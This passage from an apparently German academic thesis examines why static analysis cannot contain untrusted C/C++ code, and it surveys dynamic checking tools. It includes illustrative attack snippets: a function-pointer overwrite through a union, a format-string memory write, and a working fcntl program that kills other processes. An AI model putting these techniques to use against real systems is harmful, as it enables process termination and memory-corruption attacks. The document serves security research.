Trotzdem sei es mir an dieser Stelle noch erlaubt, eine weitere Besonderheit von C++ bei der Auswahl von Programmpfaden vorzustellen. An einigen Stellen wird gar nicht vorgeschrieben, welcher Programmpfad eingeschlagen werden soll, diese Entscheidung ist Sache des Compilers. Der Ausdruck

```
cout << foo() << bar();
```

könnte beispielsweise in Maschinencode transformiert werden, indem zunächst `foo` und dann `bar` aufgerufen würde. Ebenso gut ist auch das Gegenteil möglich, der Standard erlaubt beide Varianten. Verändert nun `foo` Daten, auf die `bar` zugreift, kann das Ergebnis dieses Algorithmus implementierungsspezifisch sein. Die Ausführreihenfolge und der konkret dafür genutzte Maschinencode können sich sogar bei ein und demselben Compiler unterscheiden, je nachdem, wie hoch die Optimierungsstufe eingestellt wurde.

Kriterium vier ist also im Kontext von nicht vertrauenswürdigen C/C++ Applikationen nicht durch die alleinige statische Evaluation erfüllbar, es sei denn, man wählt einen extrem konservativen Ansatz, verzichtet auf die Überprüfung von Parameterbelegungen und lehnt ein Programm ab, sobald in ihm nur der Name einer verbotenen Funktion auftaucht. Dass dies allein trotzdem nicht garantieren kann, dass eine verbotene Funktion aufgerufen wird, demonstrieren die Erläuterungen zum fünften Kriterium. Folglich ist nun das dazugehörige Problemfeld im Kontext C/C++ zu charakterisieren.

4.6. 4. Problemfeld: Zeigerarithmetik

Wie bereits mehrfach erwähnt ist Zeigerarithmetik in C und C++ Applikationen ein essentieller Bestandteil. Parameterübergabe, Zeichenkettenoperationen, Arrayzugriff, Polymorphie sowie die effiziente Verarbeitung von Daten werden mittels Zugriffen über Zeiger realisiert. Da der direkte Zugriff auf Speicherzelleninhalte durch Angabe ihrer Adresse (auch Dereferenzierung genannt) potenziell dafür genutzt werden kann, auch Speicherzellen zu verändern, deren Inhalte gar nichts mit der Programmsicht zu tun haben sondern beispielsweise die Rücksprungadresse einer Funktion in sich tragen, kann Zeigerarithmetik für Angriffe ausgenutzt werden, die beliebigen Maschinencode ausführen, welcher nicht vom Analyseprogramm genehmigt worden wäre, hätte er als äquivalentes C/C++ Konstrukt im Quellcode gestanden. Details über die Art und Weise wurden in Kriterium fünf beschrieben.

Dort war auch auf den vorzunehmenden Perspektivwechsel aufmerksam gemacht worden: Fehler in der Zeigerarithmetik könnten nicht nur versehentlich dem Programmierer unterlaufen, sondern auch gezielt in die Quellen eingebaut worden sein.

Aus diesem Grunde ist es unerlässlich als Analysemethode sicherzustellen, dass Zeigerarithmetik niemals außerhalb der erlaubten Grenzen stattfindet. Üblicherweise sind die Einflussgrößen, welche bei einem C/C++ Programm die zu erledigende Dereferenzierung bestimmen, nicht konstant. Beispielcode wie

```
char buffer[500];
char* bufferpointer=buffer+3;
bufferpointer+=7;
*bufferpointer=12;
```

kann von einem statischen Analysetool sehr schnell als legitim verifiziert werden. Statements wie `bufferpointer+=i`

,wobei `i` eine durch viele Schritte bestimmte Variable sei, sind aufgrund der Nichterfüllbarkeit des Komplexitätskriteriums durch statische Analyse kaum a priori auf ihre Legitimität hin auswertbar. Trotzdem ist es bei „gutartigen“, fehlerfreien Programmen sehr wahrscheinlich, dass der Programmierer dafür Sorge getragen hat, den Zeiger bei einem Zugriff in einem stets gültigen Bereich anzusiedeln. Neben dynamischen Offsets existieren in C und C++ dynamische Arrays auf dem Heap, sowie dynamische Arrays auf dem Stack bei C++ (und dem C99 Standard), so dass Code wie

```
int foo(int x) {
     char bar[x];
     char* pointer=&bar[25];
     *pointer=5;
}
```

nur dann gültig ist, wenn x stets größer 25 ist.

Zu der Problematik von variablen Größen als Parameter von zeigerarithmetischen Operationen, gesellen sich noch weitere Hindernisse für eine erfolgreiche Verhinderung bösartiger Speichermanipulation hinzu. Es muss zunächst geklärt werden, was der gültige Bereich für einen Zeiger überhaupt sein sollte und welche Werte an dieser Stelle abgespeichert werden dürfen. Aus Ausgangsbasis für die Verdeutlichung dieses Problems sei folgendes Codebeispiel ausgewählt:

```
union {
                struct {
                        char  x[8];
                        char y;
                } z;
                int (*t) ();
} myObject;
char* pointer=myObject.z.x;
*pointer='A';
```

Wie groß soll an dieser Stelle der Gültigkeitsbereich des Zeigers sein? Eine mögliche Antwort wäre, dass man ihn auf das achtelementige Array beschränken sollte. Programmierer, die mit der Architektur, für die sie programmieren, etwas vertrauter sind und wissen, dass die Struktur korrekt ausgerichtet ist und kein *Padding*[20] benutzt wird, könnten nun aber in Versuchung kommen, folgendes zu schreiben:

```
*(pointer+8)='B';
```

um myObject.z.y den Wert 66[21] zuzuweisen. Die Sichtweise von Strukturen als zusammenhängender Speicherbereich, wird in vielen „Real-World“ Applikationen tatsächlich eingenommen und dementsprechend mit Zeigern hantiert. Eine Analysemethode muss also genau definieren können, wie groß der Gültigkeitsbereich eines Zeigers ist.

Zur Verdeutlichung des zweiten Problems sei nun das Beispiel fortgeführt:

```
int hello () {
        printf("Hello world\n");
        return 0;
}
myObject.t=hello; // Setzen des Funktionszeigers
myObject.t(); // Aufruf der Funktion hello
pointer[1]='C'; // Überschreiben des Funktionszeigers (Union)
myObject.t(); // vermutlich Programmabsturz
```

20 *Padding* bezeichnet die Auffüllung einer Struktur in Speicher mit Füllbytes um die prozessortypische Ausrichtung der Daten *(Alignment)* nicht zu verletzen.

21 66 ist der ASCII-Code von B. Je nachdem, wie die Speicherzelle interpretiert wird, steht in dieser ein B oder die Zahl 66.

Während der erste Aufruf von `myObject.t()`noch „Hello world“ ausgibt, resultiert der zweite Aufruf höchstwahrscheinlich in einem Speicherzugriffsfehler, es sei denn, ein bösartiger Programmierer hätte eine ganz andere „gültige“ Adresse über den Zeiger in die Union gespeichert. Derartige Szenarien können nicht nur in Unions auftreten, sondern beispielsweise auch bei Strukturen, die Funktionszeiger enthalten. Sollen weiterhin auch noch *Type-Casts* zwischen Zeiger-Typen[22] gestattet werden, ist das Problem sogar bei jedem Funktionszeiger gegeben, indem sein Typ in einen völlig anderen konvertiert wird. Jeder objektorientierte Datentyp enthält typischerweise gleich eine ganze Menge von Funktionszeigern um Polymorphie realisieren zu können.

Bestimmte Low-Level-Programme gehen sogar noch weiter und *casten* zwischen Zeigertypen und primitiven Datentypen. Auf diese Weise ist es möglich, eine konkrete Speicheradresse in eine Datei zu schreiben oder auf dem Bildschirm auszugeben. Wie kann eine Methode jedoch garantieren, dass diese Datei nicht manipuliert wird, eventuell sogar unter Benutzung eines anderen Dateinamens vom selben Programm? Müssen solche Konstrukte geduldet werden, ist es einer statischen Analyse noch nicht einmal mehr möglich, über die Gültigkeit eines Algorithmus zu entscheiden, wenn für die Bestimmung von Offsets nur Konstanten benutzt werden.

Bis jetzt galt stillschweigend die Vereinfachung, dass eine Adresse, wenn sie erst einmal als semantisch gültig für einen Zugriff befunden wurde, auch immer gültig bleibt. Dies ist leider eine idealisierte Annahme. Lokale Variablen existieren in C/C++ nur so lange, wie die zugehörige Funktion oder Methode nicht zurückgekehrt ist, Variablen auf dem Heap nur so lange, wie das zugehörige `delete` bzw. `free` nicht angerufen wurde. Der Objektlebenszyklus muss demzufolge zusätzlich berücksichtigt werden. Kann der Programmierer auf irgendeine Art und Weise erreichen, einen Zeiger zu dereferenzieren, der auf ein nicht mehr existentes Objekt und damit vielleicht auf einen völlig anders gearteten Inhalt zeigt, kann er eine bösartige Speichermanipulation mit den bereits mehrmals beschriebenen Folgen herbeiführen. Der Objektlebenszyklus ist bei Objekten, welche auf dem Heap erzeugt wurden, besonders schwer zu bestimmen, da die entsprechenden Delete-/Free-Statements an vielen Stellen im Programmcode stehen können.

Die möglichen Programmabläufe waren aber gerade nicht durch eine statische Analyse herauszufinden. Sollte die Möglichkeit bestehen, ein Programm genehmigt zu bekommen, was mehrfach eine Delete-Operation auf ein Objekt ausführen kann, wäre dem Missbrauch ebenfalls Tür und Tor geöffnet. An der Stelle, wo sich beim ersten Delete-Statement noch ein gültiger Wert befand, der Auskunft über die konkrete Adresse der Destruktorfunktion gab, könnte beim zweiten Aufruf bereits etwas völliges anderes stehen, unter anderem eine Adresse, deren Inhalt schadhafter Maschinencode ist. Potenzielle Mehrfachfreigaben von Objekten können ebenfalls nur statisch vermieden werden, wenn alle möglichen Programmabläufe im Voraus bekannt wären.

Eine Lösungsidee lautet, Delete-Operatoren zu verbieten oder zu ignorieren. Dies würde allerdings sowohl ein Speicherloch provozieren, als auch die Semantik des Programmes verändern, da in C++ Destruktoren nicht zu unterschätzende Teile der Programmlogik beinhalten.

22 Derartige Zeigerarithmetik wird z. B. genutzt, um effizient ein einzelnes Byte eines größeren Datentyps zu manipulieren oder Rohspeicher strukturiert ansprechen zu können.

Eine *Garbage-Collection* könnte ebenfalls in Betracht gezogen werden. Diese könnte zumindest die Objektlebenszyklusproblematik, als auch das Mehrfachfreigabeproblem lösen. Leider ist die Semantik von C++ mit *Garbage-Collections* nicht verträglich. Entwickler setzen tatsächlich darauf, dass der Konstruktor ihres Objektes sofort nach dem Verlassen des Gültigkeitsbereiches eines Objektes bzw. nach einem Delete-Statement genau einmal aufgerufen wird. Idiome wie „Ressourcenbelegung ist Initialisierung", Smart-Pointer und Sentry-Objekte der Standardbibliothek bauen genau auf diesem Versprechen auf (siehe [119] und [121]). Weiterhin ist fraglich, wie eine *Garbage-Collection* das kurzzeitige Ein- und Auslagern von Zeigern von und in primitive Datentypen unterstützen könnte, da zwischenzeitlich keine erkennbare Referenz mehr auf das betreffende Objekt bestehen würde.

Die C++ Standardbibliothek erschwert die Anwendung des *Garbage-Collection*-Konzeptes zusätzlich, indem sie teilweise *Placement-News* benutzt[23]. Diese Methodik ist für eine *Garbage-Collection* nicht tolerierbar, da nicht sichergestellt ist, dass der angewiesene Speicherplatz nicht schon von einem anderen Objekt beansprucht wird. Sowohl die konkrete Semantik der nachfolgenden Zugriffe, als auch die Lebenszeit des entstandenen Objektes ist undefiniert.

Die C Standardbibliothek unterstützt zwar in dieser Art kein *Placement-New*, bringt mit ihren Funktionen, die variable Argumentanzahlen unterstützen[24], eine weitere sehr gefährliche Speichermanipulationsvariante ins Spiel.

Funktionen mit variabler Parameteranzahl sind selbst dafür verantwortlich zu bestimmen, wie viele Parameter sie übergeben bekommen haben und von welchem Typ diese sind. Typischerweise wird ihnen das vom Aufrufer mittels eines vorgeschriebenen ersten Parameters in Form eines *Format-Strings* mitgeteilt oder aber die Funktion nimmt per se einen bestimmten Parametertyp an und holt sich so lange Parameter vom Stack, bis ein komplett mit Nullen gefüllter Wert als letztes Argument auftritt[25].

Neben der Anzahl und dem Typ der Parameter, werden im *Format-String* häufig noch weitere Information mitgegeben (z. B. die Feldbreite bei Ausgaben von `printf`), so dass nicht davon ausgegangen werden kann, dass *Format-Strings* in jedem Fall Konstanten wären. Sie können ebenso gut erst zur Laufzeit konstruiert werden. Eine versehentliche oder gar mutwillige Fehlkonstruktion des *Format-Strings* kann natürlich in einer Speichermanipulation resultieren. Der Aufruf

```
printf("%100d%7$n",25);
```

schreibt beispielsweise 100 (die Anzahl der bis jetzt geschriebenen Bytes) an die Adresse, auf die im siebten übergebenen Parameter der `printf` Funktion verwiesen wird. Offensichtlich existiert aber gar kein siebenter Parameter. Demzufolge wird irgendetwas referenziert, was an dieser Stelle gerade im Stack steht, üblicherweise eine lokale Variable innerhalb der Funktion,

23 Mit einem *Placement-New* kann explizit festgelegt werden, an welcher Stelle im Speicher ein neues Objekt erzeugt werden soll.

24 `printf`, `sprintf` und `scanf` sind die prominentesten Vertreter.

25 Der Rufer muss selbstverständlich seinen letzten Parameter mit Nullen füllen oder eine vordefinierte Konstante (`NULL`) einsetzen.

welche `printf` aufrief[26]. Kann der Inhalt dieser lokalen Variable gesteuert werden[27], muss diese lediglich die Adresse der Speicherzelle enthalten, die von `printf` mit dem Wert 100 überschrieben werden soll. Durch eine geschicktere Wahl des *Format-Strings* können so eine ganze Reihe frei wählbarer Speicherzellen mit genau festgelegten Werten belegt werden. Mit `sprintf` und `scanf` sind selbstverständlich ebenfalls heimtückische Angriffe bei „falscher" Anwendung möglich. Auch C++ erlaubt die Benutzung von Funktionen mit variabler Parameteranzahl, die zugehörige Standardbibliothek macht allerdings nicht davon Gebrauch. Es ist also in jedem Fall sicherzustellen, dass der *Format-String* immer mit dem Typ und der Anzahl der gegebenen Parameter übereinstimmt, was aus mehrfach diskutierten ersichtlichen Gründen bei (typischerweise) dynamisch konstruierten *Format-Strings* nicht schon vor Ablauf des Programmes garantiert werden kann.

Statische Quellcodeanalyse kann im Endeffekt das fünfte Kriterium im Kontext C/C++ nicht gewährleisten, da das verbundene Problemfeld in vielerlei Hinsicht Anforderungen an die Methode stellt, die praktisch nicht erfüllbar sind, weil die zeitlichen und kapazitären Ressourcen nicht ausreichen.

4.7. Dynamische Konzepte zur Erfüllung des fünften Kriteriums auf Quellcodebasis

Nachdem nun feststehen sollte, dass statische Quellcodeanalyse im Kontext von bereits existierender COTS-Applikationen, die in C und C++ geschrieben wurden, häufig nicht ausreichend vor bösartiger Speichermanipulation schützen kann, könnte nun darüber nachgedacht werden, wie dieses Kriterium speziell für diese Sprachen dynamisch in den Griff zu bekommen ist.

Auf der Ebene der dynamischen Quellcodeanalyse wird immer wieder die Nutzung semantisch äquivalenter Substitution vorgeschlagen und teilweise auch bereits implementiert (siehe 4.9.). Die Grundidee bei diesem Ansatz ist es, sämtliche Operationen, die etwas mit Zeigerarithmetik zu tun haben, mit dynamischen Prüfcode zu versehen[28], der vor einer Dereferenzierung sicherstellt, dass der Zeiger auf eine semantisch korrekte Adresse innerhalb des legitimen Gültigkeitsbereiches zeigt. Dies ist auf jeden Fall möglich, da die Prüfung erst zur Laufzeit stattfindet, wenn alle benötigten Einflussgrößen bekannt sind. Um zu verhindern, dass Zugriffe außerhalb des korrekten Objektlebenszyklus geschehen, muss auch bei jeder Objekterzeugung und Zerstörung Zusatzcode erzeugt werden. Beim Einsatz dieser Technik ist es mitunter nicht trivial, die Semantik des Programmes nicht zu verändern, da auch wirklich jede Stelle, an der Objekte zerstört oder erzeugt werden können, beachtet werden muss, was gerade im Fokus der C++ spezifischen Ausnahmenbehandlung zur Tortur werden kann. Werden im Zuge der Quellcodesubstitution auch Veränderungen an Klassendefinitionen vorgenommen, hat dies eventuell Einfluss auf die Rückgabewerte des Sizeof- und des Typeid-Operators, was bei Low-Level-Programmen, die beispielsweise Objekte serialisieren wollen, zum Problem werden kann. Generell wurden die bis jetzt existierenden Techniken daraufhin entworfen, dass sich das Programm kooperativ verhält und nicht versucht auf Grund seiner Kenntnis über die geplanten Substitutionen, diese zu „überlisten". Wenn die Substitutionen

26 Es wird angenommen, dass sich der Compiler dem üblichen, in [34] beschriebenen *Stack-Layout* bedient.

27 Dies funktioniert natürlich, wenn der Angreifer ja das Programm selbst schreibt.

28 Dieser Vorgang wird auch häufig *Instrumentalisierung* genannt.

durch ein externes Tool vor der eigentlichen Compilierung durchgeführt werden sollen, kann dieses Unterfangen sehr schwierig werden, da C++ viele subtile Interferenzen zwischen Programmcodes zulässt. Bei nebenläufigen Programmen muss zudem ein portabler Weg gefunden werden, zusätzliche Verwaltungsinformationen portabel zu synchronisieren. Ein potentiell sicherer Weg lässt deshalb die Ersetzung erst durch den Compiler in Form von zusätzlich generierten Maschinencode, der die Prüfung übernimmt, vornehmen. Eine weitere Alternative wäre der Einsatz eines C++ Interpreters mit entsprechenden Prüfroutinen.

Alle Ansätze haben jedoch immanente Nachteile im Vergleich zu einem nativ übersetzten Programm. Der Overhead an erzeugtem Code wirkt sich spürbar auf Speicherverbrauch und Performance aus. Debugging und Programmverständnis gestalteen sich schwieriger, da nun noch viel mehr zwischen Applikations- und Prüfcode unterschieden werden muss. Um semantische Korrektheit garantieren zu können, muss höchstwahrscheinlich auf viele *Casting*-Varianten verzichtet werden, was insbesondere *Downcasts* verhindern könnte.

Placement-News, Unions und Funktionen mit variablen Argumenten wären mit großer Sicherheit ebenfalls passé[29]. Generell müssten sämtliche native Bibliotheksfunktionen mit Zusatzcode geprüft werden, da sie sonst vom Programmcode für Speichermanipulationen benutzt werden könnten[30]. Dies wiederum würde die Gesamtperformance des Systems beeinträchtigen, wenn auch andere Programme gegen diese Bibliotheken gelinkt wären.

Andererseits müssten, um Angriffe durch Delegation, wie im sechsten Kriterium beschrieben zu verhindern, alle Programme, mit denen die zu analysierende Applikation direkt und indirekt agieren darf, sowieso ebenfalls dieser Prozedur unterworfen werden. Selbst der Betriebssystemkern könnte für Angriffe durch Delegation ausgenutzt werden. Für den Prüfcode ist zudem statisch zu garantieren, dass er nicht selbst ausnutzbare Lücken enthält (besonders gefährlich, wenn er sich im Kernel selbst befinden sollte), was bei ausreichend hoher Komplexität und Mächtigkeit sich als sehr schwierig und langwierig gestalten könnte. Wie bei den meisten anderen Fragestellungen hat auch hier Sicherheit einen hohen Preis.

4.8. Fazit

Die Erfüllbarkeit der zuvor aufgestellten sechs Kriterien ist im Kontext von COTS-C/C++ Programmen für rein statische Quellcodeanalysemethoden nicht gegeben, was größtenteils auf den zu großen Zustandsraum der zu analysierenden Programme zurückzuführen ist. Mit ergänzenden dynamischen Techniken, auf die hier nur sehr kurz eingegangen wurde, können die spezifizierten Randbedingungen jedoch garantiert werden, wenn die Umgebung der C/C++ Applikation ebenfalls der selben Kontrolle unterliegt.

Die oben getroffenen Aussagen bedeuteten allerdings auf keinen Fall, dass unter Verzicht einiger Sprachmittel wie Rekursion und Zeigerarithmetik nicht Programme mit C und C++ geschrieben werden können, für welche statisch garantiert werden kann, dass sie nur eine zuvor spezifizierte Menge von Ressourcen nutzen. In diesem Fall kann jedoch nicht die herkömmliche Standardbibliothek genutzt werden. Stattdessen sollte die Interaktion mit der Umwelt am Besten ausschließlich über Spezialkonstrukte erfolgen.

29 Der Verzicht von Funktionen mit variabler Parameteranzahl würde die Ein- und Ausgabe bei C Programmen erheblich erschweren.

30 Was nützt ein sehr sicherer Anwendungscode, wenn ein natives `strcpy` existiert?

Eine weitere Alternative wäre es, die Korrektheit des Programmes zu beweisen. Dieser Prozess ist jedoch sehr langwierig, für jedes Programm verschieden und kann nicht allein von einem Programm durchgeführt werden (siehe 4.2.). Um zu beweisen, dass sich ein Programm an seine Spezifikation hält, muss diese Spezifikation erst einmal bekannt sein, was bei *Untrusted Code* nur zu selten der Fall ist.

4.9. Verwandte Arbeiten

Da sich dieser Teil auf dem im vorherigen Abschnitt abgesteckten Terrain bewegt, werden an dieser Stelle nicht Referenzen genannt, die bereits dort beschrieben worden. Im Literaturverzeichnis sind zunächst C++ und C Fachbücher aufgeführt ([119], [71], [121], [55]), die die Behauptungen über das Wesen der beiden Sprachen, sowie derer Standardbibliotheken noch einmal untermauern. Des weiteren empfiehlt sich eventuell ein direkter Blick in die Quellen der STL [118] oder den C++ Standard [4].

Bereits [61] und [96] belegen, dass statische Quellcodeanalyse bei ausreichend komplexen Programmen mit Funktionszeigern nicht ausreichen kann. Der in [40] illustrierte Ansatz kann deshalb nur bei sehr einfachen C Programmen für deren Korrektheit garantieren, berücksichtigt aber bereits rekursive Datenstrukturen.

C Code Analyzer ([20]) und splint ([57], [45]) versuchen auf statischen, die Tools Valgrind [124], CCMalloc [22], Electronic Fence [32], Purify Plus [78] und Mpatrol [56] auf dynamischen Wege, missbräuchlicher Zeigerarithmetik und Speicherlecks in C und C++ Programmen auf die Spur zu kommen.

Splint nutzt einen Mechanismus, der in [62] detailliert beschrieben ist. Der Programmierer gibt in speziellen C-Kommentaren an, welche Bedingungen (*Requires-Annotations*) erfüllt sein müssen, damit die dem Kommentar folgende Operation oder Funktion keine Speicherzellen außerhalb des gültigen Bereiches überschreiben kann. An anderer Stelle drückt er mit Zusicherungen (*Ensures-Annotations*) aus, welche Bedingungen nach bzw. vor Ausführung einer Operation oder Funktion automatisch erfüllt sind[31].

CCMalloc, Electronic Fence und Mpatrol fordern bei jeder Speicherallokation zwei Seiten mehr als vom Programm gewünscht an, die sie vor und hinter dem eigentlichen, legalen Datenbereich platzieren und diese so konfigurieren, dass jeder Zugriffsversuch in einem Pagefault resultiert, der von den Tools anschließend analysiert wird. Da angeforderter Speicher meistens nicht genau eine ganze Anzahl von Speicherseiten erfordert, füllt Mpatrol den für das Programm überflüssigen Bereich mit einem speziellen Wert auf und informiert den Benutzer, falls dieser überschrieben wird. Die Implementierung des Konzeptes erfolgt durch Austausch von Bibliotheksfunktionen und funktioniert nur bei dynamisch allokiertem Speicher.

Purify Plus und Valgrind sind nicht auf den Heap beschränkt, sondern überprüfen jegliche Art von Speicherzugriffen zur Laufzeit. Dabei teilen sie den Speicher in verschiedene Kategorien ein (z. B. Farbschema bei Purify Plus) und führen eine Liste über die zugehörigen Speicherzellen des laufenden Programms.

31 Dieser Ansatz erinnert sehr an die Programmiersprache Eiffel mit ihren *Pre-* und *Post-Conditions*.

Valgrind simuliert einen kompletten Prozessor. Es liest Binaries mit Debuginformationen (um bei Fehlern auf die korrekte Quellcodezeile verweisen zu können) ein, übersetzt diese in ein Zwischenformat (Ucode), fügt in dieser Sprache Überprüfungsanweisungen hinzu und transformiert Ucode anschließend wieder nach Maschinencode. Valgrind fungiert also wie ein JIT-Compiler. Die zu tätigende Instrumentierung auf der Zwischencodeebene kann durch benutzerdefinierte *Skins* individuell angepasst werden. Die Performance liegt bei einem Overhead von 2700 Prozent in einem nur zu Testzwecken akzeptablen Bereich. Das KDE Projekt nutzt Valgrind für die Stabilitätsprüfungen seiner Komponenten sowie die Analyseergebnisse des integrierten Profilers (ein Skin von Valgrind).

Purify Plus arbeitet ähnlich wie Valgrind, instrumentiert jedoch nicht den Maschinencode, sondern den Quellcode. Weitere gängige Konzepte und Implementierungen, welche mittels Quellcodesubstitution bösartige Speichermanipulationen verhindern können, sind in [75], [18], [23], [9] beschrieben, wobei [9] die Idee im Zusammenhang mit C-Code zum ersten Mal vorstellte.

CCured ([75]) erweitert dabei das Typsystem von C, um typsichere Zeigerarithmetik zu gewährleisten. Der Overhead von CCured bei der Programmausführung hält sich mit 150 Prozent in Grenzen, es werden leider einige gültige Programme abgebrochen, manuelle Intervention ist häufig erforderlich.

Die von Jones ([18]) vorgestellte Methode modifiziert den C Compiler, um bei der Codegenerierung zusätzliche Prüfungen einzubinden. Bei dieser Technik muss allerdings auf den Gebrauch von komplexen Datenstrukturen wie multidimensionale Arrays verzichtet werden. Zudem laufen Programme durchschnittlich 3000 Prozent langsamer.

Ein bemerkenswerter Ansatz in dieser Kategorie ist das Archerr Framework ([23]). Es verbietet keine C-spezifischen Konstrukte und berücksichtigt plattformspezifische Besonderheiten wie die Wertebereiche von primitiven Datentypen, was keinesfalls selbstverständlich ist. Einzig und allein die semantische Analyse bei der Dereferenzierung von Zeigern hat insbesondere bei Funktionszeigern einige Defizite. Interessant ist der Umgang mit nativen Bibliotheksfunktionen. Potenziell gefährliche Aufrufe werden teilweise durch semantisch äquivalente aber sichere Pendants ersetzt[32]. Allerdings können nicht alle Angriffe auf Bibliotheksfunktionen von Archerr verhindert werden, geschickte Belegungen von Funktionszeigern und *Format-String*-Attacken bleiben unentdeckt. Der Overhead liegt mit durchschnittlich 150 Prozent Ausführungszeit im für viele Problemdomänen akzeptablen Bereich.

[23] bietet darüber hinaus einen sehr guten Überblick über weitere Arbeiten auf diesem Gebiet und eignet sich hervorragend, um tiefer in die Materie vorzudringen.

ITS4 ([49]) durchsucht den Quellcode nach potentiell gefährlichen Systemfunktionen und Parametern. Zu jeder Warnung gibt es einen Verbesserungsvorschlag und eine Einschätzung des Risikos aus.

Alle vorgestellten Werkzeuge dienen dem Entwickler primär zur Fehlerbehebung und Performance-Steigerung. Es wird nicht davon ausgegangen, dass das zu analysierende Programm mutwillig etwas Unerlaubtes machen möchte und dies arglistig verschleiert.

32 `strcpy` wird beispielsweise durch das sichere `strncpy` ersetzt.

5. Kriterien für den Erfolg dynamischer Ansätze

5.1. Hintergrund

Dynamische Methoden zur sicheren Ausführung nicht vertrauenswürdiger Programme sind in vielen Fällen von der Grundidee wesentlich einfacher als ihre statischen Pendants. Obwohl der dynamische Ansatz auf den ersten Blick viel intuitiver als der statische wirkt, gibt es eine große Menge von Punkten, die unbedingt berücksichtigt werden müssen, damit dieser auch tatsächlich greifen und nicht durch bösartige Programme überlistet werden kann.

In Abschnitt 3 wurden bereits Kriterien für den Erfolg statischer Analysemethoden vorgestellt. Folglich werden nun die sechs aufgestellten Kriterien im dynamischen Kontext neu überprüft und gegebenenfalls umformuliert.

5.2. Verfügbarkeit des Quellcodes

Im Gegensatz zur statischen Analyse muss der Quellcode in diesem Kontext nicht unbedingt verfügbar sein. Hybride Ansätze können allerdings von der Verfügbarkeit profitieren, da durch vorangehende statische Analyse ein besseres Ausführungsmodell gewonnen werden kann und illegale Programmpfade leichter erkannt werden können. Grundlage für die dynamische Analyse ist zumeist eine oder mehrere Binärdateien[33]. Einige dynamische Techniken verändern dabei existierende Binärdateien, um sie mit zusätzlichen Kontrollanweisungen zu instrumentieren. Hierbei gelten dieselben Einschränkungen wie schon bei der Modifikation von Quellcode: Eventuell schließen Lizenzen die Änderung der Programme des Herstellers oder die Garantie erlischt. Einige Firmen könnten die Binärcodeanalyse bereits als Reverse Engineering Versuch deuten. Das erste Kriterium sollte also umformuliert werden zu „Verfügbarkeit der Binärdaten und eventueller Modifikationserlaubnis“.

5.3. Unterstützung der Programmiersprache

Dieses Kriterium ist im dynamischen Kontext kaum noch von Belang, da sich größtenteils auf Binärdateien konzentriert wird. Allerdings muss die dynamische Analysetechnik das Format dieser Binärdateien auch komplett semantisch verarbeiten können. Ist eine konkret implementierte Lösung auf ELF Binaries auf einem Alpha unter dem Betriebssystem Linux ausgerichtet, kann diese nicht ohne Weiteres für Programme unter Windows 98 auf einem Pentium II eingesetzt werden. Sowohl Maschinencode, Speicherlayout, Konventionen für das Linken von Bibliotheken und den Aufruf von Systemfunktionen variieren sehr stark zwischen den verschiedenen Architekturen. Eine konkrete Lösung ist deswegen zumeist

33 Bei von virtuellen Maschinen ausgeführten Programmen ist es manchmal auch der Quellcode.

programmiersprachenunabhängig aber plattformabhängig. Das zweite Kriterium sollte also umformuliert werden zu „Unterstützung des Betriebssystems/Hardwarearchitektur“.

5.4. Zulassung von „echten“ Programmen aus der Problemdomäne

Dieses Kriterium kann fast eins zu eins übernommen werden. Um den zentralen Ansprüchen dieser Arbeit zu entsprechen, sollten nicht nur selbst geschriebene Programme unter künstlich formulierten Einschränkungen funktionieren, sondern tatsächlich existierende industriell gefertigte Applikationen lauffähig sein, insofern sie nicht gegen die spezifizierten Sicherheitsverhaltensregeln verstoßen. Im Kontext dieser Arbeit muss eine vermeintliche Verletzung einer zugesicherten Eigenschaft in einem Abbruch des Programmes oder einem Verbot der fraglichen Aktion resultieren, noch bevor Schaden angerichtet werden kann. Eine dynamische Methode darf sich also möglichst gar keine Fehlalarme leisten.

5.5. Bewältigung der auftretenden Komplexität

Dynamische Analysemethoden müssen ebenfalls die auftretende Komplexität bewältigen. In diesem Fall bezieht sich dies aber nicht auf den zu analysierenden Quellcode, sondern auf die Semantik der Anforderungen des Programmes an das Betriebssystem. Sind benutzte Systemrufe oder deren Parameter für die Analysemethode unbekannt, so hat sie keine andere Wahl, als diese zu unterbinden, da die konkrete Wirkung nicht vorausgesagt werden kann. Ein typischer Fehler ist beispielsweise die uneingeschränkte Gestattung des Systemrufes `fcntl`. Der nachfolgende Quellcode verdeutlicht, wie mit diesem scheinbar harmlosen Systemruf beliebige andere Prozesse unter derselben Nutzerkennung terminiert werden können:

```
// GNU_SOURCE muss gesetzt werden,
// um sämtliche Funktionalitäten von fcntl nutzen zu können
#define _GNU_SOURCE
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
```

```
// Programm beendet einen anderen Prozess mit Hilfe von fcntl
int main (int argc, char **argv)
{
  if (argc != 2) {
      fprintf (stderr, "Usage: fnctl-kill <pid>\n");
      return 1;
  }
  int sockets[2];
  socketpair (AF_UNIX, SOCK_STREAM, 0, sockets);
  fcntl (sockets[0], F_SETFL, O_ASYNC | O_NONBLOCK);
  fcntl (sockets[0], F_SETOWN, atoi (argv[1]));
  fcntl (sockets[0], F_SETSIG, SIGKILL);
  write (sockets[1], "good bye", 9);
}
```

Das Programm demonstrierte nur ein „Feature“ von Unix-Sysstemrufen, welches gern übersehen wird[34].

Die Bedeutung von Systemaufrufen kann von der Vorgeschichte des Prozesses abhängen. Beispielsweise ist die konkrete Semantik von

`open("passwd")`

nur ersichtlich, wenn korrekt ermittelt werden kann, in welchem Verzeichnis sich der Prozess gerade befindet (vorausgegangener `chdir`-Systemruf). Eventuell wurde zusätzlich sogar die Verzeichniswurzelebene an eine andere Stelle verlegt (`chroot`-Systemruf) oder „passwd“ ist nur ein symbolischer Link auf eine andere Datei. Eine konkrete Implementierung muss den aktuellen Status des Betriebssystems (speziell der Prozessumgebung) kennen, um ein Urteil über die Ausführung oder Nichtausführung von Systemrufen fällen zu können.

5.6. Schutz vor böswilliger Speichermanipulation

Standardmäßig sorgt bereits jedes moderne Betriebssystem dafür, dass jeder Prozess einen virtuellen Adressraum bekommt und so nur in seinen eigenen Speicherbereich schreiben kann[35]. Sollte sich also der dynamische Mechanismus, welcher die sichere Ausführung nicht

34 Ein weiterer häufig übersehener Punkt ist die Tatsache, dass es möglich ist, Dateideskriptoren und *Credentials* (Nutzerberechtigungen) mittels `sendmsg` über Sockets zu versenden.

35 *Shared-Memory* stellt hier eine Ausnahme dar, kann aber nur erfolgen, wenn ein beiderseitiges Einverständnis

